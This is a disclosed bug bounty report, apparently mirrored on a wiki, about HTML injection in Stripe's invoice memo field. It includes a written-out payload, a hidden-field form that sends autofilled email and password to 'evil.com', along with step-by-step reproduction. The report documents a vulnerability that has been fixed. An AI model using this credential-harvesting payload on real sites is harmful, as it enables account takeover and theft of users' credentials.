HTML Injection in the Invoice memos field
The memo field on invoices allowed HTML injection, so an attacker could embed a hidden login form that captured the victim's saved credentials when they clicked a disguised button. This could lead to account takeover.
- Triaged in 38 hours
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 20 months
Summary:
In customer invoices a memo field is vulnerable to HTML injection. So i can takeover any victim's account with auto-save functionality through HTML injection. Basically when we saved the login credential in our browser & tried to login into the account the browser automatically fills the email & pass we just need to click on login. so I created a login form and make the email & password field invisible by setting Opacaity:0 in CSS and set my button name to "Load more content".
Steps To Reproduce:
-
Login to your account and save your email and password in your browser
-
Go to https://dashboard.stripe.com/invoices. Create new invoice or edit any invoice
-
Memo field is vulnerable to HTML injection. So just paid this HTML code to memo field "<form action="//evil.com" method="GET"><input type="text" name="u" style='opacity:0;'><input type="password" name="p" style='opacity:0;'><input type="submit" name="s" value="Load more content"> "
-
Save the invoice. Now open that invoice in a new tab.
-
You can see a "load more content" button there. Just click on that button and in evil.com you will find your email and password in URL.
-
You can takeover any victim's account by sending that invoice
Supporting Material/References:
Impact
Takeover any victim's account
Attachments
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not properly sanitise or encode user-supplied input in the invoice memo field, allowing HTML and form elements to be rendered.
Impact
An attacker could take over any victim's account by sending a malicious invoice that steals saved login credentials.
What the attacker needed
Victim has saved credentials in browser; victim clicks a button in the invoice
How it was found
- Log in and save your email and password in your browser.
- Go to the invoices page and create or edit an invoice.
- Insert HTML code into the memo field that creates a hidden login form.
- Save the invoice and open it in a new tab.
- Click the disguised button to send the saved credentials to the attacker's site.
- Use the stolen credentials to take over the victim's account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
HTML injection lets an attacker insert their own web page code into a field that is shown to other users. Here, the attacker put a fake login form with invisible fields into an invoice memo, so when the victim clicked a button, their browser's saved email and password were sent to the attacker's site. This is dangerous because many browsers auto-fill saved credentials, and the victim might not notice.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.